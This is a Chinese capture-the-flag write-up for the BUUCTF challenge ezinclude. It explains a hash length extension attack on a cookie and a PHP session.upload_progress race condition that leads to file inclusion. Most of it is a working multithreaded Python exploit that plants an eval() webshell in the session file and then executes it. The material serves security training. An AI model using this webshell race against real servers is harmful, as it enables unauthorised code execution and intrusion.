[BUUCTF题解][NPUCTF2020]ezinclude
### 知识点
- 哈希拓展攻击
- session.upload_porgress竞争
过程
做题先搜集(扫目录+检查HTTP报文+查看初始页面HTML代码),初始页面需求输入正确的username和password两个参数。

HTML源码中提示了判断逻辑。

在请求初始页面后可以发现返回包中设置Cookie中一个叫Hash的参数。

并且这个参数的值和我传入name参数的值有关。

联系所有这些参数可以想到哈希拓展攻击,具体原理可以参考这位师傅:
利用脚本可以使用如下这个:
使用脚本时Input Signature值为返回的Set-Cookie中hash值,Input值为该hash对应name值,Input Key Length为hash字符串的长度,Input Data to Add填入随意的字符串就行。

在初始页面传入对应参数值(注意最后一行test开头的字符串中间其实有个空格)。

访问给出的跳转页面,但注意直接访问会跳转到如下页面,这里采用抓包。

可以看到提供了一个指定包含文件的参数。

可惜不允许直接使用data://和php://input伪协议(进行了大小不敏感匹配)。


这里采用session.upload_porgress条件竞争的用法(可以参考:利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户),脚本如下:
import io
import requests
import threading
import time
sessid = 'bbbbbbb'
data = {"cmd":"phpinfo();"}
#BUUCTF跑条件竞争太看运气,就第一次跑出来过
#注意直接用其他函数可能由disable_function和open_basedir限制o
#上传一句话
def write(session):
global event
while True:
if event.isSet():
return
#上传的文件,瞎塞点数据就好了
f = io.BytesIO(b'a' * 1024 * 50)
#data就是笔记中说的需要同时POST上传的内容,作为拼接成的键名的一部分,把其值替换为一句话
resp = session.post( 'http://890b5a2b-44a9-410f-a038-7027cb9fb783.node4.buuoj.cn:81/flflflflag.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
while resp.status_code==429:
time.sleep(0.3)
resp = session.post( 'http://890b5a2b-44a9-410f-a038-7027cb9fb783.node4.buuoj.cn:81/flflflflag.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
#访问一句话
def read(session):
global event
global data
global sessid
while True:
if event.isSet():
return
resp = session.post('http://890b5a2b-44a9-410f-a038-7027cb9fb783.node4.buuoj.cn:81/flflflflag.php?file=/tmp/sess_'+sessid,data=data)
while resp.status_code==429:
#time.sleep(0.3)
resp = session.post('http://890b5a2b-44a9-410f-a038-7027cb9fb783.node4.buuoj.cn:81/flflflflag.php?file=/tmp/sess_'+sessid,data=data)
#print((resp.text))
if 'upload_progress' in resp.text:
print(resp.text)
event.set()
else:
print("[+++++++++++++]retry")
#这个多线程个人决定有点问题,拿到flag后根本停不下来
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()

将返回数据放到html文件里就能在本地打开读取了(注意把返回数据里用于跳转页面的那一组script标签删掉),flag在phpinfo页面中搜索一下就能得到。


浙公网安备 33010602011771号